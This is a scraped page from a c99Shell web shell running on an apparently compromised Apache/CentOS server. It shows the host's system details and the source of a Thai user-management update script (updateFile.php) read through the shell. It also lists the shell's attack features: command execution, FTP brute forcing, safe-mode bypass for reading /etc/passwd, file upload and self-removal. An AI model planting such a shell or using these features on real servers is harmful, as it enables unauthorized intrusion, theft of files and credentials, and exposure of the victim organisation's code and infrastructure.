!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/ums/   drwxr-xr-x
Free 52.61 GB of 127.8 GB (41.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     updateFile.php (13.19 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once("pagebody.php");
include_once(
"clsumfileupdate.php");
include_once(
"lib/nusoap/globalversion.php");
$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
$oFd = new umfileupdate($oC);
        
$num=$oFd->countnodir();
        if(
$num!=0){
                include(
"selectFile.php");
        }else{

include_once(
"pagebody.php");
pageHeader();
$pageTitle="การเข้าใช้ระบบงาน";
echo 
"<table width=100% class=\"pageTitleBgColor\" align=\"center\">\n";
echo 
"<tr><td align=center>$pageTitle</td></tr>\n";
echo 
"</table>";
?>
<!--your code here-------------------------------------------------------------------------->
<?php
include_once("clsumfileupdate.php");
include_once(
"clsumfileupdatetemp.php");
include_once(
"lib/nusoap/nusoap.php");
include_once(
"lib/nusoap/globalversion.php");
include_once(
"lib/nusoap/funct.php");

confirmSubmit();        
openWindow();
autotab();

$oC = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB'], $GLOBALS['USER'], $GLOBALS['PASSWORD']);
$oFd = new umfileupdate($oC);
$oFdt=new umfileupdatetemp($oC);
$oFd1=new umfileupdate($oC);
$oFdt=new umfileupdatetemp($oC);
$oFdt2=new umfileupdatetemp($oC);
?>
<?
$oFdt
->RSFileUpdateTemp();
while(
$oFdt->GetRecord()){
    
$oFdt2->SearchByKey($oFdt->fileId);
    
$oFdt2->GetRecord();
    
$oFdt2->Delete();
}
 
?>
 <meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<br><div align="center">
        <table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
<?
if($GLOBALS["SERVER_PATH"]==""){
$case_=1;
?>
            <form name="ee" method="post" action="addPathServer.php">
          <table align="center" width="47%" border="0">
            <tr>
              <td  align="center"> <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** กรุณากรอกชื่อเครื่อง Server เพื่อทำการอัพเดทโปรแกรม **</font> </td>
  </tr>
            <tr bgcolor="<?php echo $GLOBALS["bg1"];?>" > 
              <td  align="center">
     <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
                http://<input name="server_path" type="text" size="30" maxlength="100">
</font>
       </td>
  </tr>
    <tr align="center">
                  <td><input type="submit" name="addpath" value="บันทึก" onClick='return checkaddpath();'>
                  <input type="hidden" name="method" value="addpath">
                  </td>
                  </tr>
</table></form>
<?
}else{
?>
<br>
<? if($GLOBALS["SERVER_PATH"]!=""){  
        list(
$pserver$close) = split("/mis/version/admin/send.php"$GLOBALS["SERVER_PATH"]);
        list(
$phttp$pserver) = split("http://"$pserver);
?>
         <table align="center" width="100%" border="0">
                <tr>
                    <td height="22" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong>ชื่อเครื่อง 
                      Server :: </strong><? echo $pserver?><br><br>
                      <a href="#" class='box'  border="0" align="absmiddle" id=IMG3  style="CURSOR: hand" onClick="editpath('<? echo $pserver?>')">
                      [&nbsp;<img src="picture/computer.gif" align="absmiddle" border="0"> แก้ไขชื่อเครื่อง Server ]</a>
                      <br><br><a href="printFileUpdate.php?sort_show=<? echo $sort_show?>" target="_blank">[&nbsp;<img src="picture/search.gif" align="absmiddle" border="0"> ตรวจสอบเวอร์ชั่นปัจจุบัน ]</a>
                      </font></td>
                  </tr>
                
            </table>
  <? ?><br>
                  <form name="ff" method="post" action="showUpdate.php">
                <table align="center" width="53%" border="0">
                  <tr> 
                    <td  align="center">
                       <input type="submit" name="update" value="อัพเดทโปรแกรม">
                <input type="hidden" name="method" value="update"> 
                      <input type="hidden" name="case_" value="<? echo $case_?>"> 
                    </td>
                  </tr>
                </table>
                </form>
                <br>
    <? if($nofile=="1"){  ?>
    <table width="476" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="<?php echo $GLOBALS["bg1"];?>"><!--DWLayoutTable-->
    <tr align="center">
                  <td height="26" align="center" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong> 
                    ยังไม่มีการปรับปรุงโปรแกรมของระบบจัดการผู้ใช้ </strong></font></td>
                </tr>
    </table><br>
    <?    }else if($nofile =="3"){ ?>
    <table width="80%" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="<?php echo $GLOBALS["bg1"];?>"><!--DWLayoutTable-->
    <tr>
            <td height="26" align="center"><strong><? echo $error?></strong><br><br></td>
          </tr>
    <tr align="center">
                  <td height="26" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong>
                    ไม่สามารถติดต่อกับเครื่อง server ได้<br>กรุณาตรวจสอบชื่อเครื่อง Server อีกครั้ง </strong></font></td>
                </tr>
    </table> <br>
                <?    ?>
                <?
     
if($fileerror !="" || $nofile=="4"){ ?>
                <table width="476" height="50" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="<?php echo $GLOBALS["bg1"];?>"><!--DWLayoutTable-->
    <tr align="center">
                  <td height="26" align="center" ><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"><strong> 
                    เกิดความผิดพลาดในการส่งข้อมูล<br>กรุณากดปุ่มอัพเดทโปรแกรมอีกครั้ง </strong></font></td>
                </tr>
    </table>     
    <? ?>
     <form name="hh" method="post" action="<?php echo $PHP_SELF?>">
        <table  width="100%" border="0" cellpadding="0" cellspacing="0" >
        <tr>
        <td width="75%" align="right">&nbsp;</td>
         <td width="25%"  height="26" align="right" background="picture/bgBio4.gif">
        <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
        
            <div align="right">เรียงลำดับตาม ::&nbsp;<select name="sort_show" onchange='return checksort();'>
                        <option value="0" <? if($sort_show=="0"){   echo "selected";  }?>>เวลาที่อัพเดท</option>
                        <option value="1" <? if($sort_show=="1"){   echo "selected";  }?>>ตัวอักษร</option>
                      </select>&nbsp;</div></font></td>              
                      </tr>
                     
        <tr  align="center" bgcolor="<?php echo $GLOBALS["bg3"];?>">
        <td colspan="2"><font size="3" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>การอัพเดทโปรแกรม</strong></font></td>
        </tr>
        <tr><td colspan="2">
          <table width="100%" border="1" cellspacing="0" cellpadding="0" bordercolor="#CCCCCC" valign="top">
            <tr bgcolor="<?php echo $GLOBALS["bg2"];?>"> 
              <td width="10%"   height="17" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>วันที่อัพเดท</strong></font></td>
              <td width="10%" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>เวลาอัพเดท</strong></font></td>
              <td width="35%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>ชื่อไฟล์ (Version)</strong></font></td>
              <td width="3%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>&nbsp;</strong>
                </font></td>
                <td width="7%"   align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>เวอร์ชั่น<br>ปัจจุบัน</strong>
                </font></td>
              <td width="23%"   align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>Path</strong> 
                </font></td>
              <td width="12%"  align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รายละเอียด<br>การเปลี่ยนแปลง</strong> 
                </font></td>
            </tr>
            <?    $i=0;
            if(
$sort_show=="0" || $sort_show==""){
          
$oFd->RSFileUpdategroupname();
        }else{
        
$oFd->RSFileUpdategroupnameordertext();
        }
        while(
$oFd->GetRecord() && $i!="25"){ ?>
        <tr bgcolor="<?php echo $GLOBALS["bg1"];?>" >
        <td colspan="7" height="22" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><strong><? echo $oFd->filename1?></strong></font></td>
        </tr>
        <tr>
              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? //echo "($i)"; ?><? echo abbreDate2($oFd->updateDate); ?></font></td>
              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->updatetime?></font></td>
              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? if($oFd->filename2==""){ echo $oFd->filename1; }else{ echo $oFd->filename2; }?></font></td>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->flagfile=="1"){ echo "C"; }else if($oFd->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?>
                </font></td>
                <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd->flaguse=="Y"){ ?>
                    <img src="picture/apply.gif"  align="absmiddle">
                <? }else if($oFd->flaguse=="N"){  ?>
                    <img src="picture/delete.gif"  align="absmiddle">
                <? }?>
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd->path;  ?> 
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp; 
                <? if($oFd->detail==""){  echo "-&nbsp;(ลบไฟล์)"; }else{  echo $oFd->detail;  } ?> </font>
               </td>
            </tr>
            <? 
            $oFd1
->SearchBynotfileId($oFd->fileId,$oFd->filename1,$oFd->path);
            while(
$oFd1->GetRecord()){
                        
$i++;
                    
?><tr>
             <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? //echo "($i)"; ?><? echo abbreDate2($oFd1->updateDate); ?></font></td>
              <td height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd1->updatetime?></font></td>
              <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? if($oFd1->filename2==""){ echo $oFd1->filename1; }else{ echo $oFd1->filename2; }?></font></td>
              <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd1->flagfile=="1"){ echo "C"; }else if($oFd1->flagfile=="2"){ echo "E"; }else{  echo "D";  }  ?>
                </font></td>
                <td align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <? if($oFd1->flaguse=="Y"){ ?>
                    <img src="picture/apply.gif"  align="absmiddle">
                <? }else if($oFd1->flaguse=="N"){  ?>
                    <img src="picture/delete.gif"  align="absmiddle">
                <? }?>
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo $oFd1->path;  ?> 
                </font></td>
              <td align="left" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">&nbsp; 
                <? if($oFd1->detail==""){  echo "-&nbsp;(ลบไฟล์)"; }else{  echo $oFd1->detail;  } ?> </font>
               </td>
            </tr>
            <? }?>
            <? $i++; 
             } 
        
                if(
$i == 0){
?>
            <tr> 
              <td colspan="8" height="22" align="center"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">** 
                ไม่ปรากฏรายการในฐานข้อมูล **</font></td>
            </tr>
            <?php
                        
}else{  ?>
            <tr> 
              <td colspan="8" align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"> 
                <a href="printAllUpdate.php?sort_show=<? echo $sort_show?>" target="_blank">[&nbsp;<img src="picture/search.gif" align="absmiddle" border="0">&nbsp;ดูประวัติการอัพเดทโปรแกรมทั้งหมด&nbsp;]</a></font></td>
            </tr>
            <? }?>
          </table></td></tr></table>  
          </form><? ?>
<?
          
if($GLOBALS["SERVER_PATH"]!=""){
?>
       <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>"> <b>หมายเหตุ 
      : </b>&nbsp;<br>
      ประเภทของไฟล์ :: C หมายถึงไฟล์ที่สร้างใหม่<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      E หมายถึงไฟล์ที่แก้ไข<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      D หมายถึงไฟล์ที่ถูกลบ<br> 
      เวอร์ชั่นปัจจุบัน ::<img src="picture/apply.gif"  align="absmiddle">หมายถึงไฟล์ได้ถูกนำไปใช้งานแล้ว<br>
      &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
      <img src="picture/delete.gif"  align="absmiddle"> หมายถึงไฟล์ไม่ได้ถูกนำไปใช้งาน</font><? ?>
        
            </td>
    </tr>
</table><br></div>
<!--------------------------------------------------------------------->
<?php pageFooter(); ?>
<!--------------------------------------------------------------------->
  <script>
  function checkaddpath(){
            if(document.ee.server_path.value==""){
                alert("กรุณากรอกชื่อเครื่อง Server เพื่อทำการอัพเดทโปรแกรม !");
                return false;
            }
            document.ee.submit();        
}

function editpath(pserver){
            FileName = "editPathServer.php?pserver=<?  echo $pserver?>";
            var w=400;  
            var h=150;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
function checksort(){
    document.hh.submit();
}
</script>
<? ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--